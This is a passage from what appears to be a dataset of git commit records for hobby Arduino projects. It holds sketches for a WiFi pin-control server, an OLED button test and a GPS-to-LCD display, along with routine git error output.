buffer[BUFFER_SIZE+1];\nint bufindex = 0;\n\nvoid setup(void)\n{\n Serial.begin(115200);\n \n \/\/ Initialise the module\n Serial.println(F(\"\\nInitializing...\"));\n if (!cc3000.begin())\n {\n Serial.println(F(\"Couldn't begin()! Check your wiring?\"));\n while(1);\n }\n \n Serial.print(F(\"\\nAttempting to connect to \")); Serial.println(WLAN_SSID);\n if (!cc3000.connectToAP(WLAN_SSID, WLAN_PASS, WLAN_SECURITY)) {\n Serial.println(F(\"Failed!\"));\n while(1);\n }\n \n Serial.println(F(\"Connected!\"));\n \n Serial.println(F(\"Request DHCP\"));\n while (!cc3000.checkDHCP())\n {\n delay(100); \n } \n\n \/\/ Start listening for connections\n httpServer.begin();\n \n Serial.println(F(\"Listening for connections...\"));\n}\n\nvoid loop(void)\n{\n \/\/ Try to get a client which is connected.\n Adafruit_CC3000_ClientRef client = httpServer.available();\n if (client) {\n Serial.println(F(\"Client connected.\"));\n \n Serial.println(\"Client connected\");\n\n String request = readRequest(&client);\n executeRequest(&client, &request);\n\n \/\/ Close the connection.\n \/\/client.stop();\n\n Serial.println(\"Client disonnected\");\n }\n}\n\n\n\nString readRequest(Adafruit_CC3000_ClientRef* client)\n{\n String request = \"\";\n\n \/\/ Loop while the client is connected.\n while (client->connected())\n {\n \/\/ Read available bytes.\n while (client->available())\n {\n \/\/ Read a byte.\n char c = client->read();\n\n \/\/ Print the value (for debugging).\n Serial.write(c);\n\n \/\/ Exit loop if end of line.\n if ('\\n' == c)\n {\n return request;\n }\n\n \/\/ Add byte to request line.\n request += c;\n }\n }\n return request;\n}\n\n\nvoid executeRequest(Adafruit_CC3000_ClientRef* client, String* request)\n{\n char command = readCommand(request);\n int n = readParam(request);\n if ('O' == command)\n {\n pinMode(n, OUTPUT);\n }\n else if ('I' == command)\n {\n pinMode(n, INPUT);\n }\n else if ('L' == command)\n {\n digitalWrite(n, LOW);\n }\n else if ('H' == command)\n {\n digitalWrite(n, HIGH);\n }\n else if ('R' == command)\n {\n sendResponse(client, String(digitalRead(n)));\n }\n else if ('A' == command)\n {\n sendResponse(client, String(analogRead(n)));\n }\n}\n\n\/\/ Read the command from the request string.\nchar readCommand(String* request)\n{\n String commandString = request->substring(0, 1);\n return commandString.charAt(0);\n}\n\n\n\/\/ Read the parameter from the request string.\nint readParam(String* request)\n{\n\t\/\/ This handles a hex digit 0 to F (0 to 15).\n\tchar buffer[2];\n\tbuffer[0] = request->charAt(1);\n\tbuffer[1] = 0;\n\treturn (int) strtol(buffer, NULL, 16);\n}\n\nvoid sendResponse(Adafruit_CC3000_ClientRef* client, String response)\n{\n \/\/ Send response to client.\n client->println(response);\n\n \/\/ Debug print.\n Serial.println(\"sendResponse:\");\n Serial.println(response);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'resources\/arduino\/arduinowifi\/arduinowifi_cc3000.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"0923b183d7765433e081dc24a50675c0e4793702","subject":"Arduino code updated light_sensor() and distance_sensor()","message":"Arduino code updated light_sensor() and distance_sensor()\n","repos":"Emiliyan-Sokolov\/diplomna-rabota,Emiliyan-Sokolov\/diplomna-rabota","old_file":"Arduino Code\/rc_car_arduino_code_with_sersors\/rc_car_arduino_code_with_sersors.ino","new_file":"Arduino Code\/rc_car_arduino_code_with_sersors\/rc_car_arduino_code_with_sersors.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/rc_car_arduino_code_with_sersors\/rc_car_arduino_code_with_sersors.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6a0141d763832de480a3209da649ea37ab34668c","subject":"Create environment-monitor.ino","message":"Create environment-monitor.ino","repos":"olayenca\/Environment-Monitor","old_file":"environment-monitor.ino","new_file":"environment-monitor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/olayenca\/Environment-Monitor.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"61bbed0997669f96fc28c8dd4ca31fadbcb0e356","subject":"oled test sketch added","message":"oled test sketch added\n","repos":"an-erd\/spBox,an-erd\/spBox","old_file":"oled_test\/oled_test.ino","new_file":"oled_test\/oled_test.ino","new_contents":" #include <SPI.h>\n #include <Wire.h>\n #include <Adafruit_GFX.h>\n #include <Adafruit_SSD1306.h>\n\n\n Adafruit_SSD1306 display = Adafruit_SSD1306();\n\n #ifdef ARDUINO_SAMD_ZERO\n #define Serial SerialUSB\n #endif\n\n #if defined(ESP8266)\n #define BUTTON_A 0\n #define BUTTON_B 16\n #define BUTTON_C 2\n #define LED 0\n #elif defined(ARDUINO_STM32F2_FEATHER)\n #define BUTTON_A PA15\n #define BUTTON_B PC7\n #define BUTTON_C PC5\n #define LED PB5\n #else\n #define BUTTON_A 9\n #define BUTTON_B 6\n #define BUTTON_C 5\n #define LED 13\n #endif\n\n #if (SSD1306_LCDHEIGHT != 32)\n #error(\"Height incorrect, please fix Adafruit_SSD1306.h!\");\n #endif\n\n void setup() { \n #if !defined(ESP8266)\n while (!Serial) delay(1);\n #endif\n\n Serial.begin(9600);\n\n Serial.println(\"OLED test\");\n \/\/ by default, we'll generate the high voltage from the 3.3v line internally! (neat!)\n display.begin(SSD1306_SWITCHCAPVCC, 0x3C); \/\/ initialize with the I2C addr 0x3C (for the 128x32)\n \/\/ init done\n Serial.println(\"OLED begun\");\n \n \/\/ Show image buffer on the display hardware.\n \/\/ Since the buffer is intialized with an Adafruit splashscreen\n \/\/ internally, this will display the splashscreen.\n display.display();\n delay(1000);\n\n \/\/ Clear the buffer.\n display.clearDisplay();\n display.display();\n \n Serial.println(\"IO test\");\n\n pinMode(BUTTON_A, INPUT_PULLUP);\n pinMode(BUTTON_B, INPUT_PULLUP);\n pinMode(BUTTON_C, INPUT_PULLUP);\n\n \/\/ text display tests\n display.setTextSize(1);\n display.setTextColor(WHITE);\n display.setCursor(0,0);\n display.println(\"abcdefghijklmnopqrstu\");\n display.println(\"ABCDEFGHIJKLMNOPQRSTU\");\n display.println(\"123456789012345678901\");\n display.println(\"\/-\\|\/-\\|\/-\\|\/-\\|\/-\\|\/\");\n }\n\n\n void loop() {\n\/\/ if (! digitalRead(BUTTON_A)) display.print(\"A\");\n\/\/ if (! digitalRead(BUTTON_B)) display.print(\"B\");\n\/\/ if (! digitalRead(BUTTON_C)) display.print(\"C\");\n if (! digitalRead(BUTTON_A)) {\n Serial.print(\"A\");\n display.clearDisplay();\n display.setCursor(0,0);\n display.println(\"A-A-A\");\n }\n if (! digitalRead(BUTTON_B)) {\n Serial.print(\"B\");\n display.clearDisplay();\n display.setCursor(0,0);\n display.println(\"B-B-B\");\n }\n if (! digitalRead(BUTTON_C)) {\n Serial.print(\"C\");\n display.clearDisplay();\n display.setCursor(0,0);\n display.println(\"C-C-C\");\n }\n\n delay(10);\n yield();\n display.display();\n }\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'oled_test\/oled_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b1c8113f2aaa467ab6856265df3ca2391c2d0d07","subject":"v1.0 Initial release","message":"v1.0 Initial release","repos":"Grommet123\/GPSLCD,Grommet123\/GPSLCD","old_file":"GPSLCD.ino","new_file":"GPSLCD.ino","new_contents":"\/* GPS LCD\n\n By GK Grotsky\n 8\/30\/16\n\n This program communicate with the u-blox NEO-6M GPS module\n through a software serial interface. It then displays certain GPS\n parameters on a I2C 16x2 (or 20x4) character LCD display module. The\n GPS messages are received by the on-board Arduino UART circuit using\n the SoftwareSerial library. It then uses the TinyGPS++ library to\n decode the GPS NMEA messages. The parameters are then displayed on a\n 16x4 (or 20x4) LCD using the LiquidCrystal_I2C library.\n\n Note: Both the 16x2 and 20x4 LCDs are supported as these are the most popular\n LCDs available.\n*\/\n#include \"GPSLCD.h\"\n#include <TinyGPS++.h>\n#include <SoftwareSerial.h>\n#include <LiquidCrystal_I2C.h>\n\nTinyGPSPlus gps; \/\/ This is the GPS object that will pretty much do all the grunt work with the NMEA data\nSoftwareSerial GPSModule(10, 11); \/\/ RX, TX\nLiquidCrystal_I2C lcd(I2C_ADDR, En_pin, Rw_pin, Rs_pin, D4_pin, D5_pin, D6_pin, D7_pin); \/\/ Initializes class variables and defines the I2C address of the LCD\nbool dataValid; \/\/ Data is valid from the GPS module\nGPSStruct GPSData; \/\/ Holds the GPS data coming from the GPS module\n\n\/\/ The setup (runs once at start up)\nvoid setup()\n{\n pinMode(BACKLIGHT_SW, INPUT);\n\n#ifdef _16x2\n \/\/ Selects either speed or heading to be displayed\n pinMode(SPEED_ALTITUDE_SW, INPUT);\n#else\n \/\/ Selects either altitude or the date\/time to be displayed\n pinMode(ALTITUDE_DATE_TIME_SW, INPUT);\n#endif\n\n GPSModule.begin(9600); \/\/ This opens up communications to the software serial tx and rx lines\n GPSModule.flush();\n\n lcd.begin (COLUMN, ROW); \/\/ Defines LCD type\n lcd.setBacklightPin(BACKLIGHT_PIN, POSITIVE); \/\/ Sets the pin to control the backlight\n lcd.clear(); \/\/ Clear the LCD\n lcd.home (); \/\/ Go to the home position on the LCD\n} \/\/ setup\n\n\/\/ The loop (runs forever and a day :-))\nvoid loop()\n{\n static uint32_t pastSatellites = 0;\n static uint8_t initializingCounter = 0;\n static unsigned long prevInitializationTime = INITIALIZATION_INTERVAL;\n static unsigned long prevCreditTime = TOGGLETIME_INTERVAL;\n static unsigned long prevInvalidSatellitesTime = TOGGLETIME_INTERVAL;\n static bool leftInitialization = false;\n static bool creditToggle = true;\n static bool invalidSatellitesToggle = true;\n#ifndef _16x2\n static unsigned long prevDateTime = TOGGLETIME_INTERVAL;\n static unsigned long prevHeadingTime = TOGGLETIME_INTERVAL;\n static unsigned long prevHdopTime = TOGGLETIME_INTERVAL;\n static bool dateTimeToggle = true;\n static bool headingToggle = true;\n static bool hdopToggle = true;\n#endif\n#ifdef DATA_VALID_OVERRIDE\n const bool dataValidOverride = true; \/\/ Set true to override data valid for debugging\n#else\n const bool dataValidOverride = false; \/\/ Set false not to override data valid\n#endif\n#ifdef BACKLIGHT_OVERRIDE\n \/\/ Override LCD backlight switch\n \/\/ Force LCD backlight on\/off\n lcd.setBacklight(BACKLIGHT_ONOFF);\n#else\n \/\/ Turn LCD backlight on\/off\n lcd.setBacklight(digitalRead(BACKLIGHT_SW));\n#endif\n unsigned long now = millis();\n\n while (GPSModule.available()) \/\/ While there are characters to come from the GPS\n {\n bool b = gps.encode(GPSModule.read()); \/\/ This feeds the serial NMEA data into the GPS library one char at a time\n }\n\n \/\/ Get the GPS data valid flags\n dataValid =\n gps.location.isValid() &&\n gps.speed.isValid() &&\n gps.altitude.isValid() &&\n gps.course.isValid() &&\n gps.date.isValid() &&\n gps.time.isValid() &&\n gps.satellites.isValid() &&\n gps.hdop.isValid();\n\n \/\/ Check if the GPS data is valid or data valid override is set (for debugging)\n if (dataValid || dataValidOverride) {\n#ifndef DATA_VALID_OVERRIDE\n \/\/ Store the real GPS data\n GPSData.satellites = gps.satellites.value();\n GPSData.lat = gps.location.lat();\n GPSData.lon = gps.location.lng();\n GPSData.speed = gps.speed.mph();\n GPSData.altitude = gps.altitude.feet();\n#ifndef _16x2\n GPSData.heading = gps.course.deg();\n GPSData.hdop = gps.hdop.value();\n GPSData.year = gps.date.year();\n GPSData.month = gps.date.month();\n GPSData.day = gps.date.day();\n GPSData.hour = gps.time.hour();\n GPSData.minute = gps.time.minute();\n GPSData.second = gps.time.second();\n#endif \/\/ #ifndef _16x2\n#else \/\/ #ifndef DATA_VALID_OVERRIDE\n \/\/ Store the fake GPS data (for debugging)\n GPSData.satellites = 0; \/\/ Invalid satellites\n GPSData.lat = 39.16d; \/\/ East coast\n GPSData.lon = -77.07d; \/\/ \"\n GPSData.speed = 55.0d;\n GPSData.altitude = 555.0d;\n#ifndef _16x2\n GPSData.heading = 60.0d; \/\/ ENE or NE (16 cardinal points or 8 cardinal points)\n GPSData.hdop = 150;\n GPSData.year = 2016;\n GPSData.month = 11; \/\/ Day before ST starts\n GPSData.day = 5; \/\/ \"\n GPSData.hour = 23; \/\/ 7pm my local time\n GPSData.minute = 10;\n GPSData.second = 25;\n#endif \/\/ #ifndef _16x2\n#endif \/\/ #ifndef DATA_VALID_OVERRIDE\n \/\/ Clear the screen once when leaving initialization\n if (!leftInitialization) {\n leftInitialization = true;\n lcd.clear(); \/\/ Clear the LCD\n }\n \/\/ Display the latest info from the gps object which it derived from the data sent by the GPS unit\n \/\/ Send data to the LCD\n#ifdef _16x2 \/\/------------------------------------------------------\n lcd.home (); \/\/ Go to 1st line\n lcd.print(\"Lat: \");\n lcd.print(GPSData.lat);\n lcd.setCursor (11, 0);\n lcd.print(\"SV:\");\n if ((pastSatellites != GPSData.satellites) || (GPSData.satellites == 0)) {\n pastSatellites = GPSData.satellites;\n if (GPSData.satellites == 0) {\n \/\/ Toggle invalid satellites indicator every TOGGLETIME_INTERVAL seconds\n if (now - prevInvalidSatellitesTime > TOGGLETIME_INTERVAL \/ 4) {\n prevInvalidSatellitesTime = now;\n if (invalidSatellitesToggle) {\n invalidSatellitesToggle = false;\n lcd.print(\"XX\");\n }\n else {\n invalidSatellitesToggle = true;\n lcd.print(\" \");\n } \/\/ if (invalidSatellitesToggle)\n } \/\/ if (now - prevInvalidSatellitesTime > TOGGLETIME_INTERVAL)\n } \/\/ if (GPSData.satellites == 0)\n else if (GPSData.satellites <= 9) {\n lcd.print(\" \"); \/\/ Blank leading char\n lcd.print(GPSData.satellites);\n }\n else {\n lcd.print(GPSData.satellites);\n }\n } \/\/ if ((pastSatellites != GPSData.satellites) || (GPSData.satellites == 0))\n lcd.setCursor (0, 1); \/\/ Go to 2nd line\n lcd.print(\"Lon: \");\n lcd.print(GPSData.lon);\n if ((digitalRead(SPEED_ALTITUDE_SW))) {\n lcd.setCursor (12, 1);\n if (GPSData.speed < SPEED_CUTOUT) {\n lcd.print(\"0 \");\n }\n else {\n lcd.print((int16_t)GPSData.speed);\n lcd.print(\" \"); \/\/ Clear the extra char\n }\n }\n else {\n lcd.print(\" \"); \/\/ Clear the extra chars\n if (GPSData.altitude <= 99.9) {\n lcd.setCursor (14, 1);\n }\n else {\n lcd.setCursor (13, 1);\n }\n lcd.print((int16_t)GPSData.altitude); \/\/ Altitude\n \/\/ Toggle credit every TOGGLETIME_INTERVAL seconds\n if (now - prevCreditTime > (TOGGLETIME_INTERVAL \/ 2)) {\n prevCreditTime = now;\n if (creditToggle) { \/\/ Display credit\n creditToggle = false;\n lcd.print(\" \"); \/\/ Clear the extra chars\n lcd.print(CREDIT); \/\/ Yours truly :-)\n }\n else {\n creditToggle = true;\n lcd.print(\" \"); \/\/ Clear the extra chars\n }\n } \/\/ if (now - prevCreditTime > TOGGLETIME_INTERVAL)\n } \/\/ if ((digitalRead(SPEED_ALTITUDE_SW)))\n#else \/\/ 20x4 ----------------------------------------------------\n lcd.home (); \/\/ Go to 1st line\n lcd.print(\"Lat: \");\n lcd.print(GPSData.lat);\n lcd.setCursor (15, 0);\n lcd.print(\"SV:\");\n if ((pastSatellites != GPSData.satellites) || (GPSData.satellites == 0)) {\n pastSatellites = GPSData.satellites;\n if (GPSData.satellites == 0) {\n \/\/ Toggle invalid satellites indicator every TOGGLETIME_INTERVAL seconds\n if (now - prevInvalidSatellitesTime > TOGGLETIME_INTERVAL \/ 3) {\n prevInvalidSatellitesTime = now;\n if (invalidSatellitesToggle) {\n invalidSatellitesToggle = false;\n lcd.print(\"XX\");\n }\n else {\n invalidSatellitesToggle = true;\n lcd.print(\" \");\n } \/\/ if (invalidSatellitesToggle)\n } \/\/ if (now - prevInvalidSatellitesTime > TOGGLETIME_INTERVAL)\n } \/\/ if (GPSData.satellites == 0)\n else if (GPSData.satellites <= 9) {\n lcd.print(\" \"); \/\/ Blank leading char\n lcd.print(GPSData.satellites);\n }\n else {\n lcd.print(GPSData.satellites);\n }\n } \/\/ if ((pastSatellites != GPSData.satellites) || (GPSData.satellites == 0))\n lcd.setCursor (0, 1); \/\/ Go to 2nd line\n lcd.print(\"Lon: \");\n lcd.print(GPSData.lon);\n#ifndef CONVERT_TO_LOCAL\n \/\/ Only display if time\/date is selected\n if (!(digitalRead(ALTITUDE_DATE_TIME_SW))) {\n lcd.print(\" \"); \/\/ Clear the extra chars\n uint8_t DOW = dayOfWeek(GPSData.year, GPSData.month, GPSData.day);\n if (IsDST(GPSData.day, GPSData.month, DOW)) {\n lcd.print(\"DST\");\n }\n else {\n lcd.print(\" ST\");\n }\n }\n else {\n lcd.print(\" \"); \/\/ Clear the extra chars\n }\n#else \/\/ #ifndef CONVERT_TO_LOCAL\n#ifdef DISPLAY_HDOP_ERROR\n \/\/ Display Horizontal Dilution of Precision (Hdop) with the format X.X\n \/\/ It comes in from the GPS module as XXX\n \/\/ If you care how Hdop is computed (I don't :-(), see the following:\n \/\/ http:\/\/www2.unb.ca\/gge\/Resources\/gpsworld.may99.pdf\n uint32_t hdopInteger = GPSData.hdop \/ 100;\n uint32_t hdopFarction = (GPSData.hdop - (hdopInteger * 100)) \/ 10;\n lcd.print(\" Hdop:\");\n if (hdopInteger < 10) {\n lcd.print(hdopInteger); \/\/ Integer part\n lcd.print(\".\");\n lcd.print(hdopFarction); \/\/ Fraction part\n }\n else {\n \/\/ Hdop value too large for my LCD, so cross it out\n \/\/ Toggle Hdop indicator every TOGGLETIME_INTERVAL seconds\n if (now - prevHdopTime > TOGGLETIME_INTERVAL \/ 3) {\n prevHdopTime = now;\n if (hdopToggle) {\n hdopToggle = false;\n lcd.print(\"XXX\");\n }\n else {\n hdopToggle = true;\n lcd.print(\" \");\n } \/\/ if (hdopToggle)\n } \/\/ if (now - prevHdopTime > TOGGLETIME_INTERVAL)\n } \/\/ if (hdopInteger < 10)\n#else \/\/ #ifdef DISPLAY_HDOP_ERROR\n \/\/ Display horizontal position error in feet\n uint32_t hdopInteger = GPSData.hdop \/ 100;\n uint32_t hdopFarction = (GPSData.hdop - (hdopInteger * 100)) \/ 10;\n float hError = (float)hdopInteger + ((float)hdopFarction) \/ 10.0f;\n hError *= GPS_RECEIVER_ERROR; \/\/ Error in meters\n hError *= METERS_TO_FEET; \/\/ Error in feet\n lcd.print(\" Err: \");\n if (hError < 100.0f) {\n lcd.print((uint8_t)hError);\n if (hError < 10.0f) {\n lcd.print(\"f \");\n }\n else {\n lcd.print(\"f\");\n }\n }\n else {\n \/\/ horizontal position error value too large for my LCD, so cross it out\n \/\/ Toggle Hdop indicator every TOGGLETIME_INTERVAL seconds\n if (now - prevHdopTime > TOGGLETIME_INTERVAL \/ 3) {\n prevHdopTime = now;\n if (hdopToggle) {\n hdopToggle = false;\n lcd.print(\"XXX\");\n }\n else {\n hdopToggle = true;\n lcd.print(\" \");\n } \/\/ if (hdopToggle)\n } \/\/ if (now - prevHdopTime > TOGGLETIME_INTERVAL)\n } \/\/ if (hError < 100.0f)\n#endif \/\/ #ifdef DISPLAY_HDOP_ERROR\n#endif \/\/ #ifndef CONVERT_TO_LOCAL\n lcd.setCursor (0, 2); \/\/ Go to 3rd line\n lcd.print(\"Spd: \");\n if (GPSData.speed < SPEED_CUTOUT) {\n lcd.print(\"0 \");\n }\n else {\n lcd.print((int16_t)GPSData.speed);\n lcd.print(\" \"); \/\/ Clear the extra chars\n }\n lcd.setCursor (12, 2);\n lcd.print(\"Hdg: \");\n if (GPSData.speed < SPEED_CUTOUT) {\n lcd.print(\"0 \");\n }\n else {\n \/\/ Toggle heading every TOGGLETIME_INTERVAL seconds\n if (now - prevHeadingTime > TOGGLETIME_INTERVAL) {\n prevHeadingTime = now;\n if (headingToggle) { \/\/ Display cardinal heading\n headingToggle = false;\n lcd.print(cardinal(GPSData.heading));\n }\n else { \/\/ Display degrees heading\n headingToggle = true;\n lcd.print((int16_t)GPSData.heading);\n if (GPSData.heading <= 99.9) lcd.print(\" \"); \/\/ Clear the extra char\n } \/\/ if (headingToggle)\n } \/\/ if (now - prevHeadingTime > TOGGLETIME_INTERVAL)\n } \/\/ if (GPSData.speed < SPEED_CUTOUT)\n lcd.setCursor (0, 3); \/\/ Go to 4th line\n if ((digitalRead(ALTITUDE_DATE_TIME_SW))) {\n lcd.print(\"Alt: \");\n lcd.print((int16_t)GPSData.altitude);\n \/\/ Toggle credit every TOGGLETIME_INTERVAL seconds\n if (now - prevCreditTime > (TOGGLETIME_INTERVAL \/ 2)) {\n prevCreditTime = now;\n if (creditToggle) { \/\/ Display credit\n creditToggle = false;\n lcd.print(\" \"); \/\/ Clear the extra chars\n lcd.print(CREDIT); \/\/ Yours truly :-)\n }\n else {\n creditToggle = true;\n lcd.print(\" \"); \/\/ Clear the extra chars\n }\n } \/\/ if (now - prevCreditTime > TOGGLETIME_INTERVAL)\n prevDateTime = TOGGLETIME_INTERVAL;\n dateTimeToggle = true; \/\/ Default first to display date\n } \/\/ if ((digitalRead(ALTITUDE_DATE_TIME_SW)))\n else {\n \/\/ Toggle date\/time every TOGGLETIME_INTERVAL seconds\n if (now - prevDateTime > TOGGLETIME_INTERVAL) {\n prevDateTime = now;\n if (dateTimeToggle) {\n \/\/ Display date\n dateTimeToggle = false;\n lcd.print(\"Date: \");\n uint8_t hour = GPSData.hour;\n uint8_t day = GPSData.day;\n uint8_t month = GPSData.month;\n uint16_t year = GPSData.year;\n#ifdef CONVERT_TO_LOCAL\n \/\/ Convert UTC date to local date\n bool DST = convertToLocal (&hour, &year, &month,\n &day, GPSData.lon, true); \/\/ true means date conversion\n#endif \/\/ #ifdef CONVERT_TO_LOCAL\n if (month < 10) lcd.print(\"0\");\n lcd.print(month);\n lcd.print(\"\/\");\n if (day < 10) lcd.print(\"0\");\n lcd.print(day);\n lcd.print(\"\/\");\n lcd.print(year);\n printDay (dayOfWeek (year, month, day));\n } \/\/ if (dateTimeToggle)\n else {\n \/\/ Display time\n dateTimeToggle = true;\n lcd.print(\"Time: \");\n uint8_t hour = GPSData.hour;\n uint8_t day = GPSData.day;\n uint8_t month = GPSData.month;\n uint16_t year = GPSData.year;\n#ifdef CONVERT_TO_LOCAL\n \/\/ Convert UTC time to local time (no need to convert the date)\n bool DST = convertToLocal (&hour, &year, &month,\n &day, GPSData.lon, false); \/\/ false means no date conversion\n#else \/\/ #ifdef CONVERT_TO_LOCAL\n#ifdef DISPLAY_12_HOUR\n if (hour == 0) { \/\/ 12 hour clocks don't display 0\n hour = 12;\n }\n#endif \/\/ #ifdef DISPLAY_12_HOUR\n#endif \/\/ #ifdef CONVERT_TO_LOCAL\n#ifdef DISPLAY_12_HOUR\n char AMPM[] = \"am\";\n if (hour >= 12) { \/\/ Convert to 12 hour format\n if (hour > 12) hour -= 12;\n strcpy (AMPM, \"pm\");\n }\n#endif\n if (hour < 10) lcd.print(\"0\");\n lcd.print(hour);\n lcd.print(\":\");\n if (GPSData.minute < 10) lcd.print(\"0\");\n lcd.print(GPSData.minute);\n lcd.print(\":\");\n if (GPSData.second < 10) lcd.print(\"0\");\n lcd.print(GPSData.second);\n#ifdef DISPLAY_12_HOUR\n lcd.print(AMPM);\n#endif \/\/ #ifdef DISPLAY_12_HOUR\n#ifdef CONVERT_TO_LOCAL\n#ifdef DISPLAY_12_HOUR\n (DST) ? lcd.print(\" DST\") : lcd.print(\" ST\");\n#else \/\/ #ifdef DISPLAY_12_HOUR\n (DST) ? lcd.print(\" DST\") : lcd.print(\" ST\");\n#endif \/\/ #ifdef DISPLAY_12_HOUR\n#endif \/\/ #ifndef CONVERT_TO_LOCAL\n#ifndef CONVERT_TO_LOCAL\n#ifdef DISPLAY_12_HOUR\n lcd.print(\" UTC\");\n#else \/\/ #ifdef DISPLAY_12_HOUR\n lcd.print(\" UTC\");\n#endif \/\/ #ifdef DISPLAY_12_HOUR\n#endif \/\/ #ifndef CONVERT_TO_LOCAL\n } \/\/ if (dateTimeToggle)\n } \/\/ if (now - prevDateTime > TOGGLETIME_INTERVAL)\n } \/\/ if ((digitalRead(ALTITUDE_DATE_TIME_SW)))\n#endif \/\/------------------------------------------------------------\n } \/\/ if (dataValid)\n else {\n \/\/ GPS data is not valid, so it must be initializing\n#ifdef _16x2 \/\/------------------------------------------------------\n \/\/ Display initialization screen once every INITIALIZATION_INTERVAL\n if (now - prevInitializationTime > INITIALIZATION_INTERVAL) {\n prevInitializationTime = now;\n lcd.setCursor (6, 0); \/\/ Go to 1st line\n lcd.print(\"GPS\");\n lcd.setCursor (11, 0);\n lcd.print(\"v\");\n lcd.print(VERSION);\n lcd.setCursor (2, 1); \/\/ Go to 2nd line\n lcd.print(\"Initializing\");\n lcd.setCursor (15, 1);\n if (++initializingCounter > 9) initializingCounter = 1; \/\/ Limit 1 - 9\n lcd.print(initializingCounter);\n leftInitialization = false;\n }\n#else \/\/ 20x4 -------------------------------------------------------\n \/\/ Display initialization screen once every INITIALIZATION_INTERVAL\n if (now - prevInitializationTime > INITIALIZATION_INTERVAL) {\n prevInitializationTime = now;\n lcd.setCursor (8, 0); \/\/ Go to 1st line\n lcd.print(\"GPS\");\n lcd.setCursor (14, 0);\n lcd.print(\"v\");\n lcd.print(VERSION);\n lcd.setCursor (4, 1); \/\/ Go to 2nd line\n lcd.print(\"Initializing\");\n lcd.setCursor (6, 2); \/\/ Go to 3rd line\n lcd.print(\"Data Not\");\n lcd.setCursor (7, 3); \/\/ Go to 4th line\n lcd.print(\"Valid\");\n lcd.setCursor (19, 3);\n if (++initializingCounter > 9) initializingCounter = 1; \/\/ Limit 1 - 9\n lcd.print(initializingCounter);\n leftInitialization = false;\n }\n#endif \/\/------------------------------------------------------------\n } \/\/ GPS data is not valid\n} \/\/ loop\n\n#ifndef _16x2\n\/* Helper functions start here\n\n Ripped off from Electrical Engineering Stack Exchange\n http:\/\/electronics.stackexchange.com\/questions\/66285\/how-to-calculate-day-of-the-week-for-rtc\n ------------------------------------------------------------\n Returns the number of days to the start of the specified year, taking leap\n years into account, but not the shift from the Julian calendar to the\n Gregorian calendar. Instead, it is as though the Gregorian calendar is\n extrapolated back in time to a hypothetical \"year zero\".\n*\/\nuint16_t leap (uint16_t year)\n{\n return year * 365 + (year \/ 4) - (year \/ 100) + (year \/ 400);\n}\n\/* Returns a number representing the number of days since March 1 in the\n hypothetical year 0, not counting the change from the Julian calendar\n to the Gregorian calendar that occurred in the 16th century. This\n algorithm is loosely based on a function known as \"Zeller's Congruence\".\n This number MOD 7 gives the day of week, where 0 = Monday and 6 = Sunday.\n*\/\nuint16_t zeller (uint16_t year, uint8_t month, uint8_t day)\n{\n year += ((month + 9) \/ 12) - 1;\n month = (month + 9) % 12;\n return leap (year) + month * 30 + ((6 * month + 5) \/ 10) + day + 1;\n}\n\n\/\/ Returns the day of week for a given date.\nuint8_t dayOfWeek (uint16_t year, uint8_t month, uint8_t day)\n{\n return (zeller (year, month, day) % 7) + 1;\n}\n\/\/----------------------------------------------------------\n\n\/\/ Print the day of the week on the LCD\nvoid printDay(uint8_t day)\n{\n if (day == 7) day = 0;\n switch (day)\n {\n case 0: lcd.print(\" Mon\"); break;\n case 1: lcd.print(\" Tue\"); break;\n case 2: lcd.print(\" Wed\"); break;\n case 3: lcd.print(\" Thu\"); break;\n case 4: lcd.print(\" Fri\"); break;\n case 5: lcd.print(\" Sat\"); break;\n case 6: lcd.print(\" Sun\"); break;\n default: lcd.print(\" Err\");\n }\n}\n\n\/\/ Compute the cardinal points of the compass\nconst char* cardinal(double course)\n{\n#ifdef _16CARDINAL\n const char* directions[] = {\"N \", \"NNE\", \"NE \", \"ENE\", \"E \", \"ESE\", \"SE \", \"SSE\",\n \"S \", \"SSW\", \"SW \", \"WSW\", \"W \", \"WNW\", \"NW \", \"NNW\"\n };\n#else\n const char* directions[] = {\"N \", \"N \", \"NE \", \"NE \", \"E \", \"E \", \"SE \", \"SE \",\n \"S \", \"S \", \"SW \", \"SW \", \"W \", \"W \", \"NW \", \"NW \"\n };\n#endif \/\/ #ifdef _16CARDINAL\n uint8_t direction = (uint8_t)((course + 11.25d) \/ 22.5d);\n return directions[direction % 16];\n}\n\n\/* Ripped off from Stackoverflow\n http:\/\/stackoverflow.com\/questions\/5590429\/calculating-daylight-saving-time-from-only-date\n\n Check to see if it's Daylight Savings Time (DST)\n*\/\nbool IsDST(uint8_t day, uint8_t month , uint8_t DOW)\n{\n \/\/ Make Day of Week (DOW) match with what Stackoverflow suggests\n \/\/ for DOW (Sunday = 0 to Saturday = 6)\n switch (DOW)\n {\n case 6: DOW = 0; break; \/\/ Sun\n case 7: DOW = 1; break; \/\/ Mon\n case 1: DOW = 2; break; \/\/ Tue\n case 2: DOW = 3; break; \/\/ Wed\n case 3: DOW = 4; break; \/\/ Thu\n case 4: DOW = 5; break; \/\/ Fri\n case 5: DOW = 6; break; \/\/ Sat\n default: break;\n }\n \/\/ January, February, and December are out\n if (month < 3 || month > 11) {\n return false;\n }\n \/\/ April to October are in\n if (month > 3 && month < 11) {\n return true;\n }\n int8_t previousSunday = (int8_t)(day - DOW);\n \/\/ In march, we are DST if our previous Sunday was on or after the 8th\n if (month == 3) {\n return previousSunday >= 8;\n }\n \/\/ In November we must be before the first Sunday to be DST\n \/\/ That means the previous Sunday must be before the 1st\n return previousSunday <= 0;\n}\n\n#ifdef CONVERT_TO_LOCAL\n\/* Convert UTC time and date to local time and date\n Difference between UTC time\/date (at Greenwich) and local time\/date is 15 minutes\n per 1 degree of longitude. See the following:\n http:\/\/www.edaboard.com\/thread101516.html\n*\/\nbool 